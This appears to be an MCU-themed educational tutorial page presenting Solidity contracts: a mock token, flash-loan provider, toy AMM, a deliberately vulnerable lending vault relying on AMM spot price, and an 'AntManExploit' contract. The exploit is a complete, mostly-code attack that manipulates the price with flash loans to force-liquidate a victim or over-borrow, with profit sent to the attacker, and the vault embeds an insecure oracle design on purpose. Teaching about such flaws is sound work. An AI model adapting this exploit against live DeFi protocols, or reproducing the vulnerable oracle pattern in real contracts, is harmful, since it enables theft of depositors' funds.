Ant-Man and the Giant Loan - MCU Edition#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
/// @notice Minimal ERC20 for tests (mintable)
5
/// @dev For educational/demo use only. No access control, not production safe.
6
contract MockERC20 {
41 collapsed lines
7
    string public name;
8
    string public symbol;
9
    uint8 public decimals = 18;
10
    uint256 public totalSupply;
11
    mapping(address => uint256) public balanceOf;
12
    mapping(address => mapping(address => uint256)) public allowance;
13

14
    constructor(string memory _name, string memory _symbol) {
15
        name = _name;
16
        symbol = _symbol;
17
    }
18

19
    /// @notice Mint tokens to any address (no access control)
20
    function mint(address to, uint256 amount) external {
21
        balanceOf[to] += amount;
22
        totalSupply += amount;
23
    }
24

25
    /// @notice Approve spender for a given amount
26
    function approve(address spender, uint256 amount) external returns (bool) {
27
        allowance[msg.sender][spender] = amount;
28
        return true;
29
    }
30

31
    /// @notice Transfer tokens to another address
32
    function transfer(address to, uint256 amount) external returns (bool) {
33
        require(balanceOf[msg.sender] >= amount, "balance");
34
        balanceOf[msg.sender] -= amount;
35
        balanceOf[to] += amount;
36
        return true;
37
    }
38

39
    /// @notice Transfer tokens from one address to another (with allowance)
40
    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
41
        require(balanceOf[from] >= amount, "balance");
42
        uint256 allowed = allowance[from][msg.sender];
43
        require(allowed >= amount, "allowance");
44
        allowance[from][msg.sender] = allowed - amount;
45
        balanceOf[from] -= amount;
46
        balanceOf[to] += amount;
47
        return true;
48
    }
49
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import "./MockERC20.sol";
5

6
/// @notice Flash loan provider for one-block liquidity (used for exploit demonstration)
7
contract QuantumRealmBank {
8
    MockERC20 public token;
9

10
    constructor(address _token) {
11
        token = MockERC20(_token);
12
    }
13

14
    /// @notice Execute a flash loan (must be repaid in same tx)
15
    /// @dev Used to simulate one-transaction attacks in tests
16
    function flashLoan(uint256 amount, address borrower, bytes calldata data) external {
17
        uint256 balanceBefore = token.balanceOf(address(this));
18
        require(balanceBefore >= amount, "not enough liquidity");
19

20
        // Send loan to borrower
21
        require(token.transfer(borrower, amount), "transfer failed");
22

23
        // Call borrower contract (attack logic runs here)
24
        (bool success,) = borrower.call(data);
25
        require(success, "borrower call failed");
26

27
        // Require loan repayment
28
        uint256 balanceAfter = token.balanceOf(address(this));
29
        require(balanceAfter >= balanceBefore, "loan not repaid");
30
    }
31
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {MockERC20} from "./MockERC20.sol";
5

6
/// @notice Simplified AMM, used as a naive on-chain price oracle (unsafe)
7
/// @dev Price = reserveB / reserveA. Swaps use:
8
///      amountBOut = reserveB * amountAIn / (reserveA + amountAIn)
9
///      Large swaps cause slippage, reducing profit for manipulators.
10
contract PymDEX {
11
    MockERC20 public tokenA;
12
    MockERC20 public tokenB;
13
    uint256 public reserveA;
14
    uint256 public reserveB;
15

16
    constructor(address _a, address _b, uint256 a, uint256 b) {
17
        tokenA = MockERC20(_a);
18
        tokenB = MockERC20(_b);
19
        reserveA = a;
20
        reserveB = b;
21
    }
22

23
    /// @notice Get spot price (TokenA→TokenB) as reserveB / reserveA
24
    /// @dev Unsafe as an oracle: manipulable by large swaps
25
    function getPymPrice(address, address) external view returns (uint256) {
26
        if (reserveA == 0) return 0;
27
        return (reserveB * 1e18) / reserveA;
28
    }
29

30
    /// @notice Swap TokenA for TokenB (no fees, direct reserve update)
31
    /// @dev AMM math: amountBOut = reserveB * amountAIn / (reserveA + amountAIn)
32
    function swapExactAForB(uint256 amountAIn, address to) external {
33
        require(tokenA.transferFrom(msg.sender, address(this), amountAIn), "transferFrom A");
34
        // AMM output calculation (educational only)
35
        uint256 amountBOut = (reserveB * amountAIn) / (reserveA + amountAIn);
36
        reserveA += amountAIn;
37
        require(reserveB >= amountBOut, "insufficient reserveB");
38
        reserveB -= amountBOut;
39
        require(tokenB.transfer(to, amountBOut), "transfer B");
40
    }
41

42
    /// @notice Swap TokenB for TokenA
43
    /// @dev AMM math: amountAOut = reserveA * amountBIn / (reserveB + amountBIn)
44
    function swapExactBForA(uint256 amountBIn, address to) external {
45
        require(tokenB.transferFrom(msg.sender, address(this), amountBIn), "transferFrom B");
46
        // AMM output calculation (educational only)
47
        uint256 amountAOut = (reserveA * amountBIn) / (reserveB + amountBIn);
48
        reserveB += amountBIn;
49
        require(reserveA >= amountAOut, "insufficient reserveA");
50
        reserveA -= amountAOut;
51
        require(tokenA.transfer(to, amountAOut), "transfer A");
52
    }
53

54
    /// @notice Fund DEX with additional reserves (for tests/demo)
55
    function fund(uint256 a, uint256 b) external {
56
        reserveA += a;
57
        reserveB += b;
58
    }
59
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {MockERC20} from "./MockERC20.sol";
5

6
interface IPymPrice {
7
    function getPymPrice(address tokenA, address tokenB) external view returns (uint256);
8
}
9

10
/// @notice Vulnerable lending vault using naive PymDEX spot price
11
/// @dev Reads price from PymDEX every time. Vulnerable to flash-loan manipulation.
12
contract StarkVault {
13
    MockERC20 public collateral; // tokenA
14
    MockERC20 public borrowToken; // tokenB
15
    IPymPrice public pym;
16
    mapping(address => uint256) public collateralBalance;
17
    mapping(address => uint256) public debt;
18
    uint256 public constant LTV_PERCENT = 50;
19

20
    constructor(address _collateral, address _borrow, address _pym) {
21
        collateral = MockERC20(_collateral);
22
        borrowToken = MockERC20(_borrow);
23
        pym = IPymPrice(_pym);
24
    }
25

26
    /// @notice Deposit collateral (TokenA)
27
    function depositCollateral(uint256 amount) external {
28
        require(amount > 0, "zero");
29
        require(collateral.transferFrom(msg.sender, address(this), amount), "transferFrom");
30
        collateralBalance[msg.sender] += amount;
31
    }
32

33
    /// @notice Borrow TokenB against collateral, using spot price (🛑 vulnerable)
34
    /// @dev Uses PymDEX spot price, which can be manipulated in a flash loan
35
    function borrow(uint256 amount) external {
36
        require(amount > 0, "zero");
37
        uint256 price = pym.getPymPrice(address(collateral), address(borrowToken)); // spot price (vulnerable)
38
        uint256 collateralValue = (collateralBalance[msg.sender] * price) / 1e18;
39
        require(collateralValue * LTV_PERCENT / 100 >= debt[msg.sender] + amount, "undercollateralized");
40
        debt[msg.sender] += amount;
41
        require(borrowToken.transfer(msg.sender, amount), "transfer borrow");
42
    }
43

44
    /// @notice Liquidate undercollateralized user (🛑 using manipulated price)
45
    /// @dev Attacker can force liquidation by manipulating price in same tx
46
    function liquidate(address user) external {
47
        uint256 price = pym.getPymPrice(address(collateral), address(borrowToken));
48
        uint256 collateralValue = (collateralBalance[user] * price) / 1e18;
49
        require(collateralValue * LTV_PERCENT / 100 < debt[user], "not liquidatable");
50
        uint256 seized = collateralBalance[user];
51
        collateralBalance[user] = 0;
52
        require(collateral.transfer(msg.sender, seized), "transfer seized");
53
    }
54
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {PymDEX} from "./PymDEX.sol";
5
import {StarkVault} from "./StarkVault.sol";
6
import {MockERC20} from "./MockERC20.sol";
7

8
/// @title AntManExploit
9
/// @notice Demonstrates flash-loan + naive oracle manipulation attacks.
10
/// @dev Educational/demo code only. Not safe for production.
11
contract AntManExploit {
12
    PymDEX public pym;
13
    StarkVault public vault;
14
    MockERC20 public tokenA;
15
    MockERC20 public tokenB;
16
    address payable public owner;
17

18
    constructor(address _pym, address _vault, address _tokenA, address _tokenB, address payable _owner) {
19
        pym = PymDEX(_pym);
20
        vault = StarkVault(_vault);
21
        tokenA = MockERC20(_tokenA);
22
        tokenB = MockERC20(_tokenB);
23
        owner = _owner;
24
    }
25

26
    /// @notice Execute flash-loan exploit for a given scenario
27
    /// @param loanAmount Amount of token to borrow in flash-loan
28
    /// @param wasp Victim address
29
    /// @param scenario 0 = liquidation, 1 = over-borrow fail, 2 = over-borrow success
30
    function execute(uint256 loanAmount, address wasp, uint8 scenario) external {
31
        if (scenario == 0) _scenarioLiquidation(loanAmount, wasp);
32
        else if (scenario == 1) _scenarioOverBorrowFail(loanAmount, wasp);
33
        else if (scenario == 2) _scenarioOverBorrowSuccess(loanAmount, wasp);
34
        else revert("invalid scenario");
35
    }
36

37
    /// @dev Scenario 0: Successful liquidation using flash-loan
38
    function _scenarioLiquidation(uint256 loanAmount, address wasp) internal {
39
        tokenA.approve(address(pym), loanAmount);
40
        pym.swapExactAForB(loanAmount, address(this));
41
        vault.liquidate(wasp);
42
        _finalize(tokenA, loanAmount);
43
    }
44

45
    /// @dev Scenario 1: Over-borrow fails due to AMM slippage
46
    function _scenarioOverBorrowFail(uint256 loanAmount, address /*wasp*/ ) internal {
47
        // Swap TokenA → TokenB; slippage reduces collateral value, over-borrow fails to repay loan
48
        tokenA.approve(address(pym), loanAmount);
49
        pym.swapExactAForB(loanAmount, address(this));
50
        _tryOverBorrow();
51
        _finalize(tokenA, loanAmount);
52
    }
53

54
    /// @dev Scenario 2: Over-borrow succeeds by using TokenB flash-loan
55
    function _scenarioOverBorrowSuccess(uint256 loanAmount, address /*wasp*/ ) internal {
56
        // Borrow TokenB instead of TokenA → avoids slippage trap, over-borrow succeeds
57
        tokenB.approve(address(pym), loanAmount);
58
        pym.swapExactBForA(loanAmount, address(this));
59
        _tryOverBorrow();
60
        _finalize(tokenB, loanAmount);
61
    }
62

63
    /// @dev Attempt over-borrow from vault using current collateral
64
    function _tryOverBorrow() internal {
65
        uint256 tokenAAfter = tokenA.balanceOf(address(this));
66
        if (tokenAAfter > 0) {
67
            tokenA.approve(address(vault), tokenAAfter);
68
            vault.depositCollateral(tokenAAfter);
69
            uint256 price = pym.getPymPrice(address(tokenA), address(tokenB));
70
            uint256 maxBorrow = (((tokenAAfter * price) / 1e18) * 50) / 100; // LTV 50%
71
            vault.borrow(maxBorrow);
72
        }
73
    }
74

75
    /// @dev Swap back tokens if needed and repay flash-loan
76
    function _finalize(MockERC20 loanToken, uint256 loanAmount) internal {
77
        if (address(loanToken) == address(tokenA)) {
78
            _swapBackAndRepay(tokenB, tokenA, loanAmount);
79
        } else if (address(loanToken) == address(tokenB)) {
80
            _swapBackAndRepay(tokenA, tokenB, loanAmount);
81
        }
82

83
        // Send remaining TokenB as profit to attacker
84
        uint256 profitB = tokenB.balanceOf(address(this));
85
        if (profitB > 0) {
86
            tokenB.transfer(owner, profitB);
87
        }
88
    }
89

90
    /// @dev Swaps enough tokens back to repay the flash-loan.
91
    /// @notice This function uses a binary search to find the minimum
92
    /// input amount needed to swap and generate enough output tokens
93
    /// to cover the flash-loan repayment. This optimizes the attacker's profit
94
    /// by minimizing slippage on the return swap.
95
    function _swapBackAndRepay(MockERC20 swapFrom, MockERC20 repayToken, uint256 loanAmount) internal {
96
        uint256 repayAmount = loanAmount;
97
        uint256 repayBalance = repayToken.balanceOf(address(this));
98

99
        if (repayBalance < repayAmount) {
100
            uint256 needed = repayAmount - repayBalance;
101
            uint256 swapBalance = swapFrom.balanceOf(address(this));
102

103
            uint256 left = 1;
104
            uint256 right = swapBalance;
105
            uint256 minSwap = right;
106
            bool enough = false;
107

108
            while (left <= right) {
109
                uint256 mid = (left + right) / 2;
110
                uint256 out;
111
                if (address(repayToken) == address(tokenA)) {
112
                    out = (pym.reserveA() * mid) / (pym.reserveB() + mid);
113
                } else {
114
                    out = (pym.reserveB() * mid) / (pym.reserveA() + mid);
115
                }
116

117
                if (out >= needed) {
118
                    minSwap = mid;
119
                    right = mid - 1;
120
                    enough = true;
121
                } else {
122
                    left = mid + 1;
123
                }
124
            }
125

126
            if (enough) {
127
                swapFrom.approve(address(pym), minSwap);
128
                if (address(repayToken) == address(tokenA)) pym.swapExactBForA(minSwap, address(this));
129
                else pym.swapExactAForB(minSwap, address(this));
130
            } else if (swapBalance > 0) {
131
                swapFrom.approve(address(pym), swapBalance);
132
                if (address(repayToken) == address(tokenA)) pym.swapExactBForA(swapBalance, address(this));
133
                else pym.swapExactAForB(swapBalance, address(this));
134
            }
135
        }
136

137
        // Transfer repayment
138
        uint256 repayFinal =
139
            repayToken.balanceOf(address(this)) < repayAmount ? repayToken.balanceOf(address(this)) : repayAmount;
140
        if (repayFinal > 0) {
141
            repayToken.transfer(msg.sender, repayFinal);
142
        }
143
    }
144
}